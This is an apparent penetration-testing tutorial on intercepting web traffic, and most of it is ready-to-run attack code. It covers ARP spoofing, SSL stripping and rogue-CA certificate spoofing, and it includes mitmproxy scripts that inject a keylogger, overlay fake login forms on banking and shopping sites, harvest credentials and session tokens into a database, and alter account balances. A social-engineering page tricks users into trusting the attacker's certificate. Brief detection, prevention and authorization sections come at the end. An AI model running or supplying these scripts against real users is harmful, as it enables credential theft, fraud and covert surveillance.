HTTP/HTTPS Interception

Understanding HTTP/HTTPS Interception - Web Traffic Manipulation and SSL Stripping

What is HTTP/HTTPS Interception?

Simple Definition: HTTP/HTTPS interception involves capturing and manipulating web traffic between clients and servers, using techniques like SSL stripping to downgrade secure connections and enable real-time monitoring and modification of web communications.

Technical Definition: HTTP/HTTPS interception encompasses transparent proxy techniques, SSL/TLS certificate manipulation, and protocol downgrade attacks to establish man-in-the-middle positioning for web traffic, enabling credential harvesting, content injection, and session manipulation through comprehensive application-layer control.

Why HTTP/HTTPS Interception Works

HTTP/HTTPS interception succeeds by exploiting web protocol characteristics and user behaviors:

  • HTTP Clear-Text Transmission: Unencrypted HTTP traffic is directly readable and modifiable
  • SSL/TLS Implementation Weaknesses: Certificate validation bypasses and user warning dismissal
  • Mixed Content Vulnerabilities: HTTPS sites loading HTTP resources enable downgrade attacks
  • User Security Complacency: Users often ignore certificate warnings and security indicators

Attack Process Breakdown

Normal Web Communication

  1. HTTPS Connection: Client establishes secure TLS connection with web server
  2. Certificate Validation: Browser verifies server certificate authenticity
  3. Encrypted Communication: All web traffic encrypted end-to-end
  4. Session Management: Secure session tokens protect authentication state

HTTP/HTTPS Interception Process

  1. Traffic Positioning: Establish MitM position for web traffic interception
  2. Proxy Implementation: Deploy transparent proxy for traffic capture and manipulation
  3. SSL Stripping: Downgrade HTTPS connections to HTTP for clear-text access
  4. Certificate Manipulation: Present fake certificates for HTTPS interception
  5. Content Modification: Real-time alteration of web pages and responses

Real-World Impact

Credential Harvesting: Capture login credentials from intercepted authentication forms

Session Hijacking: Steal session cookies and authentication tokens from web traffic

Content Injection: Insert malicious JavaScript, ads, or malware into legitimate web pages

Banking Fraud: Intercept and modify financial transactions in real-time

Corporate Espionage: Monitor and steal confidential business communications and data

Technical Concepts

HTTP Protocol Interception

Transparent Proxying: Invisible proxy configuration for seamless traffic interception Request/Response Modification: Real-time alteration of HTTP headers and content Form Data Extraction: Capture submitted form data including credentials Cookie Manipulation: Modify or steal session management cookies

SSL/TLS Attack Techniques

SSL Stripping: Force downgrade from HTTPS to HTTP connections Certificate Spoofing: Present fake certificates to maintain HTTPS appearance Certificate Pinning Bypass: Overcome application-specific certificate validation HSTS Bypass: Circumvent HTTP Strict Transport Security protections

Web Application Targeting

Login Form Interception: Target authentication mechanisms for credential theft API Interception: Capture and manipulate REST API communications File Upload/Download: Monitor and modify file transfer operations AJAX/WebSocket: Intercept asynchronous web communications

Technical Implementation

Prerequisites

Network Requirements:

  • MitM positioning for web traffic interception (ARP spoofing, DNS spoofing, etc.)
  • Ability to redirect HTTP/HTTPS traffic through attacker proxy
  • Understanding of target web applications and authentication mechanisms

Essential Tools:

  • MITMproxy: Interactive HTTPS proxy with web interface
  • SSLstrip: HTTPS to HTTP downgrade attack tool
  • Burp Suite: Web application security testing proxy
  • Bettercap: Modern network attack framework with HTTP capabilities

Essential Command Sequence

Step 1: Network Positioning for Web Traffic

# Establish MitM positioning (prerequisite for web interception)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Enable IP forwarding for traffic redirection
# Required for maintaining connectivity during interception

# Position for web traffic interception using ARP spoofing
ettercap -T -M arp:remote /192.168.1.100// /192.168.1.1//
# Establishes MitM position between target and gateway
# Routes all target traffic through attacker system
# Prerequisite for transparent proxy implementation

Purpose: Establish network-level positioning required for intercepting target web traffic.

Step 2: HTTP Traffic Interception Setup

# Configure iptables for transparent proxy redirection
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
# Redirects HTTP and HTTPS traffic to local proxy
# Transparent redirection maintains user experience
# Single port handles both HTTP and HTTPS

# Start transparent HTTP proxy with MITMproxy
mitmproxy --mode transparent --listen-port 8080 --web-port 8081
# --mode transparent: Invisible proxy operation
# --listen-port 8080: Port for intercepted traffic
# --web-port 8081: Web interface for traffic analysis
# Comprehensive HTTP/HTTPS interception capability

Step 3: SSL Stripping Implementation

Using SSLstrip for HTTPS Downgrade:

# Start SSL stripping attack
sslstrip -l 8080 -w sslstrip_log.txt -f
# -l 8080: Listen port for intercepted traffic
# -w: Write captured data to log file
# -f: Favicon replacement for stealth
# Forces HTTPS connections to downgrade to HTTP

# Monitor SSL stripping effectiveness
tail -f sslstrip_log.txt
# Real-time monitoring of captured credentials
# Shows successful HTTPS to HTTP downgrades
# Displays intercepted authentication data

Advanced SSL Stripping with Content Modification:

#!/usr/bin/env python3
from mitmproxy import http
import re

class SSLStripAddon:
    def __init__(self):
        self.https_urls = set()
    
    def response(self, flow: http.HTTPFlow) -> None:
        """Modify responses to strip HTTPS references"""
        
        if flow.response.headers.get("content-type", "").startswith("text/html"):
            # Replace HTTPS URLs with HTTP equivalents
            content = flow.response.get_text()
            
            # Store original HTTPS URLs
            https_matches = re.findall(r'https://([^/\s"\']+)', content)
            for match in https_matches:
                self.https_urls.add(match)
            
            # Replace HTTPS with HTTP
            content = re.sub(r'https://', 'http://', content)
            
            # Remove HSTS headers
            if "strict-transport-security" in flow.response.headers:
                del flow.response.headers["strict-transport-security"]
            
            flow.response.set_text(content)
            print(f"Stripped HTTPS from {flow.request.pretty_host}")
    
    def request(self, flow: http.HTTPFlow) -> None:
        """Capture credentials from HTTP requests"""
        
        if flow.request.method == "POST":
            form_data = flow.request.get_form()
            if form_data:
                # Look for credential patterns
                for key, value in form_data.items():
                    if any(keyword in key.lower() for keyword in ['pass', 'pwd', 'login', 'user']):
                        print(f"CREDENTIAL CAPTURED: {key}={value} from {flow.request.pretty_host}")

# Save as sslstrip_addon.py and run with:
# mitmproxy --mode transparent -s sslstrip_addon.py --listen-port 8080

Step 4: Certificate Manipulation for HTTPS Interception

# Generate custom certificate authority
openssl genrsa -out ca-key.pem 4096
openssl req -new -x509 -days 365 -key ca-key.pem -out ca-cert.pem \
-subj "/C=US/ST=CA/L=SF/O=Security Research/CN=Research CA"
# Creates custom certificate authority
# Required for generating fake site certificates
# Enables HTTPS interception with fake certificates

# Configure MITMproxy with custom certificates
mitmproxy --mode transparent --listen-port 8080 \
--set confdir=~/.mitmproxy --set certs=ca-cert.pem
# Uses custom CA for certificate generation
# Generates site-specific certificates on demand
# Maintains HTTPS appearance during interception

Social Engineering Certificate Installation:

# Create certificate installation page
cat > /var/www/html/cert_install.html << EOF
<html>
<head><title>Security Update Required</title></head>
<body>
<h2>Security Certificate Update</h2>
<p>Your connection requires a security update.</p>
<p><a href="/ca-cert.pem" download>Download Security Certificate</a></p>
<p>Install this certificate to maintain secure browsing.</p>
</body>
</html>
EOF

# Serve certificate for user installation
python3 -m http.server 80 --directory /var/www/html
# Social engineering approach for certificate trust
# Requires user interaction for HTTPS interception
# Enables comprehensive traffic decryption

Step 5: Advanced Web Traffic Manipulation

Real-time Content Injection:

#!/usr/bin/env python3
from mitmproxy import http

class ContentInjector:
    def response(self, flow: http.HTTPFlow) -> None:
        """Inject malicious content into web pages"""
        
        if flow.response.headers.get("content-type", "").startswith("text/html"):
            content = flow.response.get_text()
            
            # Inject keylogger script
            keylogger_script = """
            <script>
            document.addEventListener('keydown', function(e) {
                fetch('/keylog', {
                    method: 'POST',
                    body: JSON.stringify({
                        key: e.key,
                        url: window.location.href,
                        timestamp: Date.now()
                    })
                });
            });
            </script>
            """
            
            # Inject before closing body tag
            if "</body>" in content:
                content = content.replace("</body>", keylogger_script + "</body>")
                flow.response.set_text(content)
                print(f"Injected keylogger into {flow.request.pretty_host}")

# Advanced content manipulation for credential capture

API Interception and Modification:

#!/usr/bin/env python3
from mitmproxy import http
import json

class APIInterceptor:
    def request(self, flow: http.HTTPFlow) -> None:
        """Intercept and modify API requests"""
        
        if "/api/" in flow.request.path:
            print(f"API Request intercepted: {flow.request.method} {flow.request.path}")
            
            # Log API request data
            if flow.request.content:
                try:
                    data = json.loads(flow.request.get_text())
                    print(f"API Data: {data}")
                except:
                    print(f"Non-JSON API Data: {flow.request.get_text()}")
    
    def response(self, flow: http.HTTPFlow) -> None:
        """Intercept and modify API responses"""
        
        if "/api/" in flow.request.path:
            print(f"API Response intercepted: {flow.response.status_code}")
            
            # Modify API responses
            if flow.response.headers.get("content-type", "").startswith("application/json"):
                try:
                    data = json.loads(flow.response.get_text())
                    
                    # Example: Modify account balance
                    if "balance" in data:
                        data["balance"] = "999999.99"
                        flow.response.set_text(json.dumps(data))
                        print("Modified API response: balance updated")
                        
                except:
                    pass

# Comprehensive API traffic manipulation

Attack Variations

Selective Content Modification

#!/usr/bin/env python3
from mitmproxy import http
import re

class SelectiveModifier:
    def __init__(self):
        self.target_sites = ["bank.com", "paypal.com", "amazon.com"]
    
    def response(self, flow: http.HTTPFlow) -> None:
        """Selectively modify content from target sites"""
        
        if any(site in flow.request.pretty_host for site in self.target_sites):
            if flow.response.headers.get("content-type", "").startswith("text/html"):
                content = flow.response.get_text()
                
                # Inject fake login form overlay
                overlay_script = """
                <div id="fake-login" style="position:fixed;top:0;left:0;width:100%;height:100%;
                     background:rgba(0,0,0,0.8);z-index:9999;display:flex;justify-content:center;
                     align-items:center;">
                    <form style="background:white;padding:20px;border-radius:5px;">
                        <h3>Session Expired - Please Re-login</h3>
                        <input type="text" placeholder="Username" id="fake-user"><br><br>
                        <input type="password" placeholder="Password" id="fake-pass"><br><br>
                        <button onclick="stealCreds()">Login</button>
                    </form>
                </div>
                <script>
                function stealCreds() {
                    fetch('/steal-creds', {
                        method: 'POST',
                        body: JSON.stringify({
                            username: document.getElementById('fake-user').value,
                            password: document.getElementById('fake-pass').value,
                            site: window.location.href
                        })
                    });
                    document.getElementById('fake-login').style.display = 'none';
                }
                </script>
                """
                
                content = content.replace("</body>", overlay_script + "</body>")
                flow.response.set_text(content)
                print(f"Injected fake login for {flow.request.pretty_host}")

# Targeted phishing through content injection

Session Token Extraction

#!/usr/bin/env python3
from mitmproxy import http

class SessionExtractor:
    def request(self, flow: http.HTTPFlow) -> None:
        """Extract session tokens from requests"""
        
        # Extract cookies
        if "cookie" in flow.request.headers:
            cookies = flow.request.headers["cookie"]
            
            # Look for session tokens
            session_patterns = ["sessionid", "auth_token", "jwt", "PHPSESSID", "JSESSIONID"]
            for pattern in session_patterns:
                if pattern in cookies.lower():
                    print(f"SESSION TOKEN: {cookies} from {flow.request.pretty_host}")
        
        # Extract Authorization headers
        if "authorization" in flow.request.headers:
            auth = flow.request.headers["authorization"]
            print(f"AUTH HEADER: {auth} from {flow.request.pretty_host}")

# Comprehensive session token harvesting

Mobile Application Interception

# Configure proxy for mobile device interception
# Set up WiFi hotspot with proxy configuration
hostapd /etc/hostapd/hostapd.conf &
dnsmasq -C /etc/dnsmasq.conf &

# Configure automatic proxy settings via DHCP
echo "dhcp-option=252,\"http://192.168.1.50:8080/proxy.pac\"" >> /etc/dnsmasq.conf
# Automatic proxy configuration for mobile devices
# Enables mobile app traffic interception
# Comprehensive mobile application analysis

Common Issues and Solutions

Problem: Modern browsers blocking HTTP connections

  • Solution: Use certificate manipulation, target legacy applications, implement HSTS bypass

Problem: Certificate pinning preventing HTTPS interception

  • Solution: Target applications without pinning, use SSL kill switch, implement binary patching

Problem: Users noticing certificate warnings

  • Solution: Use social engineering for certificate installation, target less security-aware users

Problem: Web applications using additional security headers

  • Solution: Strip security headers, modify CSP policies, implement header manipulation

Advanced Techniques

Automated Credential Harvesting

#!/usr/bin/env python3
from mitmproxy import http
import sqlite3
import json
from datetime import datetime

class CredentialHarvester:
    def __init__(self):
        # Initialize database for credential storage
        self.conn = sqlite3.connect('harvested_credentials.db')
        self.conn.execute('''
            CREATE TABLE IF NOT EXISTS credentials (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                timestamp TEXT,
                site TEXT,
                username TEXT,
                password TEXT,
                additional_data TEXT
            )
        ''')
        self.conn.commit()
    
    def request(self, flow: http.HTTPFlow) -> None:
        """Harvest credentials from POST requests"""
        
        if flow.request.method == "POST":
            site = flow.request.pretty_host
            timestamp = datetime.now().isoformat()
            
            # Extract form data
            form_data = flow.request.get_form()
            if form_data:
                username = ""
                password = ""
                additional = {}
                
                for key, value in form_data.items():
                    if any(keyword in key.lower() for keyword in ['user', 'email', 'login']):
                        username = value
                    elif any(keyword in key.lower() for keyword in ['pass', 'pwd']):
                        password = value
                    else:
                        additional[key] = value
                
                if username or password:
                    self.conn.execute('''
                        INSERT INTO credentials (timestamp, site, username, password, additional_data)
                        VALUES (?, ?, ?, ?, ?)
                    ''', (timestamp, site, username, password, json.dumps(additional)))
                    self.conn.commit()
                    print(f"HARVESTED: {username}:{password} from {site}")

# Automated credential collection and storage

HTTP/2 and WebSocket Interception

#!/usr/bin/env python3
from mitmproxy import http, websocket

class AdvancedProtocolInterceptor:
    def websocket_message(self, flow):
        """Intercept WebSocket messages"""
        message = flow.messages[-1]
        print(f"WebSocket {message.type}: {message.content} from {flow.handshake_flow.request.pretty_host}")
        
        # Modify WebSocket messages
        if b"auth" in message.content:
            print(f"Authentication WebSocket message intercepted")
    
    def http_connect(self, flow):
        """Handle HTTP/2 CONNECT tunnels"""
        print(f"HTTP CONNECT to {flow.request.pretty_host}:{flow.request.port}")
    
    def response(self, flow: http.HTTPFlow) -> None:
        """Handle HTTP/2 responses"""
        if flow.response.http_version == "HTTP/2.0":
            print(f"HTTP/2 response from {flow.request.pretty_host}")

# Modern protocol interception capabilities

Detection and Prevention

Detection Indicators

  • SSL certificate warnings or unexpected certificate changes
  • Websites loading over HTTP instead of HTTPS
  • Unusual network latency or performance issues
  • Missing or modified security headers in web responses
  • Unexpected JavaScript injection or content modifications

Prevention Measures

Client-Side Protection:

  • Use HTTPS Everywhere browser extensions
  • Implement certificate pinning in applications
  • Enable HSTS preload lists
  • Use VPN services for additional encryption layer

Application Security:

// Implement certificate pinning in web applications
const expectedFingerprint = "sha256-abcd1234...";
if (window.location.protocol === "https:") {
    // Verify certificate fingerprint
    // Implement additional HTTPS validation
}

Network Security:

  • Deploy HTTPS-only policies
  • Implement Content Security Policy (CSP)
  • Use HTTP Public Key Pinning (HPKP)
  • Monitor for certificate transparency violations

Professional Context

Legitimate Use Cases

  • Security Testing: Evaluating web application security controls
  • Penetration Testing: Demonstrating HTTP/HTTPS interception risks
  • Development Testing: Analyzing web application traffic and behavior
  • Security Training: Educational demonstration of web traffic vulnerabilities

Legal and Ethical Requirements

Authorization: HTTP/HTTPS interception can capture sensitive data - explicit written permission essential

Scope Definition: Clearly identify which web applications and traffic are in-scope for testing

Data Protection: Implement secure handling of intercepted credentials and sensitive information

User Privacy: Ensure compliance with privacy laws when intercepting personal communications


HTTP/HTTPS interception attacks highlight the critical importance of proper certificate validation and secure web development practices, providing essential skills for web security assessment while demonstrating the vulnerabilities in web communication protocols.